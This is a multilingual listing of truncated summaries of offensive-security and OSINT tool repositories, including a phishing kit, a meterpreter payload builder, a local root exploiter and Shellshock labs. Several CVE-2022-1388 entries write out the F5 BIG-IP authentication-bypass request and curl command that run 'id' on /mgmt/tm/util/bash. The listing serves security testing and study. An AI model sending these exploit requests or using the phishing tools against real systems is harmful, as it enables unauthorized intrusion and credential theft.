EternalView

EternalView EternalView 是一个集多种基本信息收集功能于一体的 CLI 工具，纯粹用 BASH 编写 EternalView 运行中 警告： 本工具仅供教育目的，未经网站所有者许可，切勿在任何网站上使用。 使用者需自行承担一切责任！ 更新： Cloudflare 检测已上线！！！ 依赖项： BASH 如果你使用 Windows，在 Windows 上安装 UBUNTU 子系统 Wget Whois Nmap Metasploit framework Autopwn™ 如何安装： 1. 下载 通过终端克隆： git clone...

IntRec-Pack

IntRec-Pack 情报与侦察工具包/捆绑安装程序。 IntRec-Pack 是一个 Bash 脚本，旨在下载、安装和部署多个优质的 OSINT、侦察和威胁情报工具。由于它还管理这些程序相关的各种依赖项的安装，因此它旨在成为设置情报收集环境的全面助手。以下是它将帮助您设置的工具和实用程序的概述。 +-----------------------+-------------------------------------------+ | 工具 | 实用程序类型和功能摘要 |...

Flerken

Flerken 介绍 命令行混淆（CLOB） 已被证明是无文件恶意软件或“就地取材”的恶意行为者中不可忽视的一个因素。尽管野生环境中存在数十种混淆工具，但相比之下却鲜有适当的防御措施。在本演讲中，我们介绍Flerken，一种适用于Windows（PowerShell和CMD）和Linux（Bash）命令的混淆检测方法。据我们所知，Flerken是首个支持跨平台混淆检测特性的解决方案。 本演讲首先分享关于CLOB的一些关键观察，例如其攻击向量和分析策略。然后，我们给出Flerken的详细设计。描述分为两部分，即Kindle（用于Windows） 和Octopus（用于Linux）...

bug-bounty-tools

Script de Bug Bounty Un script BASH para automatizar la instalación de las herramientas de bug bounty más populares; el propósito principal de este script es ejecutarlo en máquinas virtuales temporales/desechables en la nube. Herramientas utilizadas Nuclei httpx Naabu Subfinder DNSx Nmap Katana...

WAES

WAES - Web 自动枚举与扫描器 版本 1.2.77 WAES 是一款专业级的基于 Bash 的 Web 枚举与侦察平台，专为夺旗赛（CTF）、漏洞赏金狩猎和渗透测试设计。它通过将业界最佳工具编排到一个统一的高性能管道中，自动执行安全扫描的复杂工作流。 🚀 关键特性 核心能力 多级引擎 ：4 级扫描模式，从快速侦察（fast）到高级利用（advanced）。 并行执行 ：并发使用扫描工具，速度提升 3-5 倍。 智能配置 ：针对 CTF、漏洞赏金和 Web 应用预调优的配置。 批量扫描 ：原生支持基于列表和 CIDR 网络扫描。 高级模块 隐身模式...

lxancephisher

一个对初学者友好的自动钓鱼工具，包含30多种模板。 免责声明 与本工具（lxancephisher ）相关的任何行为及/或活动均由您自行承担责任。滥用此工具包可能导致相关人员面临刑事指控 。若任何个人因滥用此工具包违法而受到刑事指控，贡献者将不承担任何责任 。 此工具包包含可能对社交媒体造成潜在损害或危险的材料 。在访问、使用或以任何其他方式不当利用之前，请参考您所在省份/国家的法律。 本工具仅用于教育目的 。不要试图利用其中的任何内容违反法律。 如果您有此意图，请离开这里 ！ 它仅演示“钓鱼的工作原理”。您不得滥用此信息以未经授权访问他人的社交媒体 。不过，您可以自行承担风险尝试使用。...

LARE

LARE L ocal A uto R oot E xploiter 是一个简单的 bash 脚本，当受害机器没有互联网连接时，它可以帮助你从攻击机器上部署本地 root 漏洞利用程序。 该脚本适用于受害机器没有互联网连接的场景（例如，当你 pivoting 到内部网络或参加使用 VPN 连接其封闭实验室的 CTF 时，比如 hackthebox.gr，甚至在 OSCP 实验室中）。 该脚本使用针对 Linux 内核 2.6-4.8 的本地 root 漏洞利用程序。 该脚本灵感来源于 Nilotpal Biswas 的Auto Root Exploit Tool 用法： 1-...

CVE-2022-1388_PoC

Explotación de RCE en F5 BIG-IP CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Línea de comandos curl: $ curl -i -s -k -X $'POST' \ -H $'Host:...

CVE-2022-1388-Exploit

CVE-2022-1388-Exploit Scripts de prueba y explotación para CVE-2022-1388 F5 Big-IP masscheck.py tomará un archivo de entrada y comprobará si los hosts son vulnerables sin explotarlos. Detección: Escaneo de /mgmt/tm/util/bash como endpoint, es probable que aparezca en los registros del servidor we...

Shellshock-CVE-2014-6271-Exploitation-and-Analysis

🐚 Shellshock（CVE-2014-6271） – 利用与分 📌 概述 这是漏洞评估与渗透测试 – II 课程的实践作业，重点在于对 Shellshock 漏洞 （CVE-2014-6271 ）的利用与分析。 所有操作均在受控实验环境 中进行，使用 Metasploitable 2 （目标机）和 Kali Linux （攻击机）。 🛠 使用工具 💻 Kali Linux – 攻击机 🖥 Metasploitable 2 – 易受攻击的目标 🔍 Nmap – 扫描与服务检测 🎯 Metasploit Framework – 漏洞利用 🔍 漏洞概述 类型： 远程代码执行（RCE）...

shellshocker-python

shellshocker-python Esta es una aplicación Python que te ayuda a detectar si tu máquina que ejecuta Bash es vulnerable al CVE-2014-6271...

cypheroth

Cypheroth 自动化、可扩展工具集，对 Bloodhound 的 Neo4j 后端运行 Cypher 查询，并将输出保存为电子表格。 描述 这是一个 bash 脚本，可自动化对存储在 Neo4j 数据库中的 Bloodhound 数据运行 Cypher 查询。 我发现自己多次重新运行相同的查询（通过 Neo4j Web 界面）进行多个评估，心想一定有更简单的方法。😅 要运行的 Cypher 查询列表是完全可扩展的。下面的格式示例展示了如何添加你自己的查询。 请分享任何其他有用的查询，以便我将它们添加到这个项目中！ 已全面测试，可在 Linux、macOS 和 Windows 的...

cypheroth

Cypheroth Automated, extensible toolset that runs cypher queries against Bloodhound's Neo4j backend and saves output to spreadsheets. Description This is a bash script that automates running cypher queries against Bloodhound data stored in a Neo4j database. I found myself re-running the same...

remote-method-guesser

Remote Method Guesser remote-method-guesser rmg is a Java RMI vulnerability scanner and can be used to identify and verify common security vulnerabilities on Java RMI endpoints. remote-method-guesser was presented at Black Hat USA2021 within the Arsenal sessions. The recording of the session and...

CVE-2023-36845

Automatización para Juniper CVE:2023-36845 por Asbawy - Modificado por Ak1t4 Resumen Es un script bash diseñado para comprobar la vulnerabilidad CVE-2023-36845. Este script procesa una lista de direcciones URL de Juniper, envía una solicitud a cada una y determina si el sistema es vulnerable segú...

CVE-2022-1388

CVE-2022-1388 Vulnerabilidad BIG-IP iControl REST CVE-2022-1388 Uso ¡Este PoC está verificado! curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

CVE-2014-6271

CVE-2014-6271 描述 本项目旨在重现漏洞 CVE-2014-6271 ，也称为 Shellshock 。Shellshock 是 Bash 中的一个安全漏洞，允许通过环境变量执行恶意代码。 本项目的目的是演示此漏洞对 Docker 环境的影响。 前提条件 开始之前，请确保您的计算机上已安装 Docker。您可以在 此处 下载 Docker。 安装与启动 1. 构建 Docker 镜像 在项目目录中，执行以下命令构建 Docker 镜像： docker build -t 'image name' . 将 'image name' 替换为您想要给 Docker 镜像的名称。 2...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit 适用于 CVE-2022-1388 的利用与检测脚本 用法 对单个主机进行检测 python3 CVE-2022-1388.py -v true -u targeturl 攻击主机并测试命令 python CVE20221388.py -a true -u targeturl -c command 攻击主机列表 python CVE20221388.py -s true -f file masscheck.py 将接收一个文件输入并检测主机是否存在漏洞但不进行利用。 问题 如果你遇到问题，请创建一个拉取请求并修复它，我不会维护这个工具:。...

Bulk_403_Bypass

批量403绕过 这是一个Bash脚本，通过向HTTP请求添加自定义标头来实现批量403绕过。可用于测试网站是否存在403绕过漏洞。 用法 要使用该脚本，将URL列表作为命令行参数传递： ./403bypass.sh urls.txt 许可证 本项目采用MIT许可证 - 详见 许可证...

ezsploit

ezsploit Alt text Linux bash 脚本自动化用于 metasploit 用于自动化 metasploit 功能的命令行脚本 检查 metasploit 服务，如果不存在则启动 轻松为 Windows、Linux、Android 和 Mac 制作 meterpreter reversetcp 载荷 启动多个 meterpreter reversetcp 监听器 帮助构建基本持久化选项和脚本 Armitage 启动器 进入 Msfconsole 一些其他有趣的东西 : 待办事项 为载荷/监听器添加更多功能，java、php、tomcat 等 改进整体功能 截图 Alt...